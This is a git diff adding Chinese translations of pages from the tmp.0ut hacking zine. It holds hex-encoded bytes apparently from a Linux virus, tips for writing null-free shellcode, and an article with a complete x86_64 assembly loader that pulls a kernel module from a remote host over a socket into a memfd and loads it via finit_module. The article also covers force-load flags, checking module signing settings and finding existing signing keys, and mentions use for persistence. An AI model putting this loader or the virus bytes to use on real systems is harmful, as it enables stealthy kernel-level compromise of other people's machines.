+ "\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
+ "\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
+ "\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
+ "\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
+ "\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
+ "\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
+ "\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
+ "\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
+ "\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
+ "\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
+ "\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
+ "\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
+ "\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
+ "\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
+ "\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
+ "\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
+ "\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
+ "\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
+ "\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
+ "\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
+ "\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
+ "\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
+ "\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
+ "\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
+ "\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
+ "\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";
+
+不要做傻事,不要将这些东西传播到野外。
+我们不对你使用这些代码的行为负责。
+
+--> 编写无空字节代码的两种技术:
+
+1) 用push指令替换mov指令。
+示例:
+
+b809000000 mov eax, 9 ----> 6a09 push 0x9
+ 58 pop rax
+2) 加/减技术:
+有时候你添加到寄存器的值会包含空字节。
+你可以通过添加和减去一个垃圾值来去除它们。
+示例:
+
+4881c4890300 add rsp, 0x389 ----> 4881c4e8c311 add rsp, 0x1111c3e8
+ ^ // 0x1111c3e8 = 0x389 + 0x1111c0de
+ 4881ecdec011 sub rsp, 0x1111c0de
+
+--- 注释和参考文献 ---
+[0] https://github.com/vxunderground/MalwareSourceCode
+ /blob/main/VXUG/Linux.Kropotkine.asm
+[1] 滥用.CTORS和.DTORS获得乐趣和利益
+ https://www.exploit-db.com/papers/13234
+
+--- 源代码 ---
+
+- Linux.Eng3ls.asm
+
\ No newline at end of file
diff --git a/1/zh/9.html b/1/zh/9.html
new file mode 100644
index 0000000..870b28d
--- /dev/null
+++ b/1/zh/9.html
@@ -0,0 +1,301 @@
+
+
+tmp.0ut
+
+
+
+
+
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+内存中的内核模块加载 │ █ │
+~ netspooky └───────────────────█ ──┘
+
+由于过去一年Linux内核的一些变化破坏了旧的x86_64二进制高尔夫方法,我想简要
+介绍一下从远程源加载内核模块的技术会很有趣。我们将讨论两个对LKM加载器有用的
+系统调用,以及使用这种方法时需要考虑的一些事项。
+
+───[ 构建测试模块 ]───────────────────────────────────────────────────
+
+我们将从构建一个简单的内核模块开始测试。它只会向内核环形缓冲区打印一条消息
+(使用`dmesg`命令查看)。
+
+ // bang.c
+ #include <linux/module.h>
+ #include <linux/init.h>
+
+ MODULE_LICENSE("GPL");
+
+ static int __init he(void) {
+ printk(KERN_INFO"we out here :}\n");
+ return 0;
+ }
+
+ static void __exit le(void) {
+ printk(KERN_INFO"we are no longer out here :{\n");
+ }
+
+ module_init(he);
+ module_exit(le);
+
+一个简单的Makefile来构建它:
+
+ obj-m += bang.o
+ dir = $(shell uname -rm | sed -e 's/\s/\-/')
+
+ all:
+ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+ strip: all
+ strip bang.ko
+ mkdir -p $(dir)
+ cp -v bang.ko $(dir)/he.ko
+
+ load: all
+ sudo insmod bang.ko
+
+ unload:
+ sudo rmmod bang
+
+ clean:
+ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+
+要构建,只需运行`make`。
+
+在42000端口上提供服务:`cat bang.ko | nc -k -lvp 42000`
+
+───[ 加载器 ]───────────────────────────────────────────────────────────────
+
+我们将使用的加载器相当直接,但为了那些正在学习这些技术以进行进一步开发的人,
+我会详细介绍它。
+
+我们将把这个模块下载到内存中的文件中。所以我们首先创建一个到我们的服务器
+(127.0.0.1:42000)的套接字,该服务器托管内核模块。然后我们将创建一个memfd
+文件来下载到目标。
+
+memfd_create系统调用是作为一种创建不与任何文件系统关联的临时文件的方法而创建
+的。它们是一种便捷的方式来写入仅在程序生命周期内存在的文件,并给你同时拥有
+临时路径和文件描述符的好处。
+
+在这里可以看到从/proc/self/fd/4执行memfd文件的示例:
+ https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100
+
+一旦我们设置好了memfd文件,我们从远程主机读取套接字缓冲区,并将其写入我们的
+文件描述符。
+
+在文件被下载到我们的memfd文件后,我们使用finit_module系统调用通过文件描述符
+加载内核模块。
+
+───[ kl.asm ]───────────────────────────────────────────────────────────────────
+
+;-- 从127.0.0.1:42000下载内核模块到内存并加载 -------//--
+; __ __ . __ __ __ __ . . . 设置:
+; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000
+; | || | || |o ||o ||\ |__| 构建:
+; | ||__ |__ __|| |__||__|| \ __| $ nasm -f elf64 kl.asm ; ld kl.o -o kl
+;-------------------------------------------------------------------------------
+section .text
+global _start
+_start:
+; socket -----------------------------------------------------------------------
+; 设置套接字
+; int socket(int domain, int type, int protocol);
+; rdi = int domain
+; rsi = int type
+; rdx = int protocol
+;-------------------------------------------------------------------------------
+ push byte 0x29 ; 压入socket系统调用号
+ pop rax ; RAX = socket系统调用
+ push byte 0x2 ; 压入域名: AF_INET
+ pop rdi ; RDI = AF_INET
+ push byte 0x1 ; 压入类型: SOCK_STREAM
+ pop rsi ; RSI = SOCK_STREAM
+ cdq ; RDX = 0
+ syscall ; socket系统调用
+; connect ----------------------------------------------------------------------
+; 我们连接到我们的主机来获取文件缓冲区
+; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
+; rdi = int sockfd
+; rsi = const struct sockaddr *addr
+; rdx = socklen_t addrlen
+;-------------------------------------------------------------------------------
+ xchg rdi, rax ; int sockfd
+ mov rbx, rdi ; 也把sockfd保存在rbx中供以后使用
+ mov dword [rsp-4], 0x100007F ; 我们的IP = 127.0.0.1
+ mov word [rsp-6], 0x10A4 ; 我们的端口 = 42000
+ mov byte [rsp-8], 0x02 ; sockfd
+ sub rsp, 8 ; 对齐
+ push byte 0x2a ; 压入connect系统调用号
+ pop rax ; RAX = connect系统调用
+ mov rsi, rsp ; const struct sockaddr *addr
+ push byte 0x10 ; 长度
+ pop rdx ; 长度 -> rdx
+ syscall ; 执行connect系统调用
+; memfd_create -----------------------------------------------------------------
+; 我们创建一个虚拟文件来保存我们的套接字缓冲区
+; int memfd_create(const char *name, unsigned int flags);
+; rdi = const char *pathname
+; rsi = int flags
+;-------------------------------------------------------------------------------
+ mov ax, 0x13f ; 系统调用
+ push 0x474e4142 ; 文件名 BANG (这里是GNAB)
+ mov rdi, rsp ; Arg0: 文件名
+ xor rsi, rsi ; int flags
+ syscall ; 执行memfd_create系统调用
+; read -------------------------------------------------------------------------
+; 我们正在读取套接字缓冲区到一个缓冲区以保存到本地文件
+; ssize_t read(socket sockfd,buf,len)
+; rdi = int fd
+; rsi = void *buf
+; rdx = size_t count
+;-------------------------------------------------------------------------------
+ mov r9, rax ; 保存本地文件描述符
+ mov rdx, 0x400 ; size_t count = 1024字节
+rwloop:
+ mov rdi, rbx ; 将sockFD移动到RDI
+ xor rax, rax ; 0是read系统调用
+ lea rsi, [rsp-1024] ; 用于保存输出的缓冲区 - arg1 *buf
+ syscall ; Read系统调用
+; write ------------------------------------------------------------------------
+; 我们正在将套接字缓冲区写入我们的本地文件
+; ssize_t sys_write(fd,*buf,count)
+; rdi = int fd
+; rsi = const *buf
+; rdx = size_t count
+;-------------------------------------------------------------------------------
+ mov rdi, r9 ; 从我们的本地文件复制文件描述符
+ mov rdx, rax ; RDX = 读取的字节数,0表示文件结束
+ xor rax, rax ; RAX = 0
+ mov al, 1 ; 系统调用号
+ syscall ; Write系统调用
+ cmp dx, 0x400 ; 检查是否还有字节需要读取
+ je rwloop ; 如果有则循环
+; finit_module -----------------------------------------------------------------
+; 通过文件描述符加载内核模块
+; int finit_module(int fd, const char *param_values, int flags);
+; rdi = int fd - 文件描述符
+; rsi = const char *param_values
+; rdx = int flags
+;-------------------------------------------------------------------------------
+ xor rax, rax ; RAX = 0
+ push rax ; param_values
+ mov rsi, rsp ; RSI = *param_values
+ mov rax, 0x139 ; finit_module系统调用
+ mov rdi, r9 ; int fd
+ xor rdx, rdx ; int flags
+ syscall ; finit_module系统调用
+;--- Exit ----------------------------------------------------------------------
+; void exit(int status);
+; rdi = int status
+;-------------------------------------------------------------------------------
+ mov rax, 0x3c ; Exit系统调用
+ mov rdi, 0x45 ; 返回69作为完整性检查
+ syscall ; 和平退出
+
+───[ finit_module标志 ]───────────────────────────────────────────────────────
+
+finit_module系统调用是在Linux中加载内核模块的一种有趣方式。通常,init_module
+系统调用会从内存中的指针加载模块。finit_module系统调用从文件描述符加载内核
+模块,并且还有一些独特的方式来覆盖在加载模块映像之前进行的正常检查。注意:
+finit_module标志只有在目标内核构建为允许强制加载时才可用。(详见下一节)
+
+覆盖标志在include/uapi/linux/module.h中定义,并在RDX中通过OR传递给系统调用。
+
+ /* sys_finit_module的标志: */
+ #define MODULE_INIT_IGNORE_MODVERSIONS 1
+ #define MODULE_INIT_IGNORE_VERMAGIC 2
+
+MODULE_INIT_IGNORE_MODVERSIONS标志忽略符号版本哈希,而MODULE_INIT_IGNORE_VERMAGIC
+标志忽略模块中的内核版本魔术值。这两个标志都可以用来在模块本应被拒绝时强制将其
+加载到内核中。这可能会导致一些未定义的行为并破坏内核,所以使用这些标志时要小心!
+
+finit_module将此功能描述为:
+
+ ..当内核模块的真实性可以从其在文件系统中的位置确定时很有用;在这种情况下,
+ 可以避免使用加密签名模块来确定模块真实性的开销。
+
+ - man 2 finit_module
+
+───[ 判断兼容性 ]────────────────────────────────────────────────
+
+加载内核模块的棘手之处在于,有许多不同的配置可以允许或禁止某些类型的模块,
+或者将它们加载到内核中的方式。在尝试加载模块之前,你应该了解这些内核配置
+标志。
+
+::: CONFIG_MODVERSIONS :::
+
+如果设置了这个选项(例如CONFIG_MODVERSIONS=y),那么你应该能够加载为不同
+内核编译的内核模块。
+
+检查:
+
+ $ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION
+ CONFIG_MODVERSIONS=y
+
+更多信息:https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html
+
+::: CONFIG_MODULE_SIG_FORCE :::
+
+如果设置了这个选项,那么你将无法加载未签名的模块。
+
+检查:
+
+ $ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION
+ # CONFIG_MODULE_SIG_FORCE is not set
+
+更多信息:https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html
+
+专业提示:你可以根据目标系统枚举系统中可能存在的预先存在的受信任密钥。
+
+示例:
+
+ /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der
+ /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509
+
+::: CONFIG_MODULE_FORCE_LOAD :::
+
+如果设置了这个选项,它允许加载没有版本信息的模块。如果要尝试使用finit_module
+标志,应该设置这个选项。如果没有设置并且你使用标志来覆盖,它会以ENOEXEC失败。
+
+检查:
+
+ $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
+ # CONFIG_MODULE_FORCE_LOAD is not set
+
+更多信息:https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html
+
+───[ 结束语 ]────────────────────────────────────────────────────────────────────
+
+我们在进行内核模块高尔夫和测试加载器时使用了这种技术。它也在WRCCDC中以单行
+命令的形式使用,这在跨多台相同配置的机器建立临时持久性时很有帮助。
+
+这只是加载内核模块的众多方法之一。还有很多可以探索的内容,我希望这能激发你
+去尝试!
+
+向以下团队的所有人致敬:tmp.0ut, thugcrowd, vxug, tcpd
+
+附:在即将发布的tmp.0ut期刊中寻找新的ELF二进制处理文章!
+
\ No newline at end of file
diff --git a/1/zh/index.html b/1/zh/index.html
index 2489751..a864236 100644
--- a/1/zh/index.html
+++ b/1/zh/index.html
@@ -55,4 +55,4 @@
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
-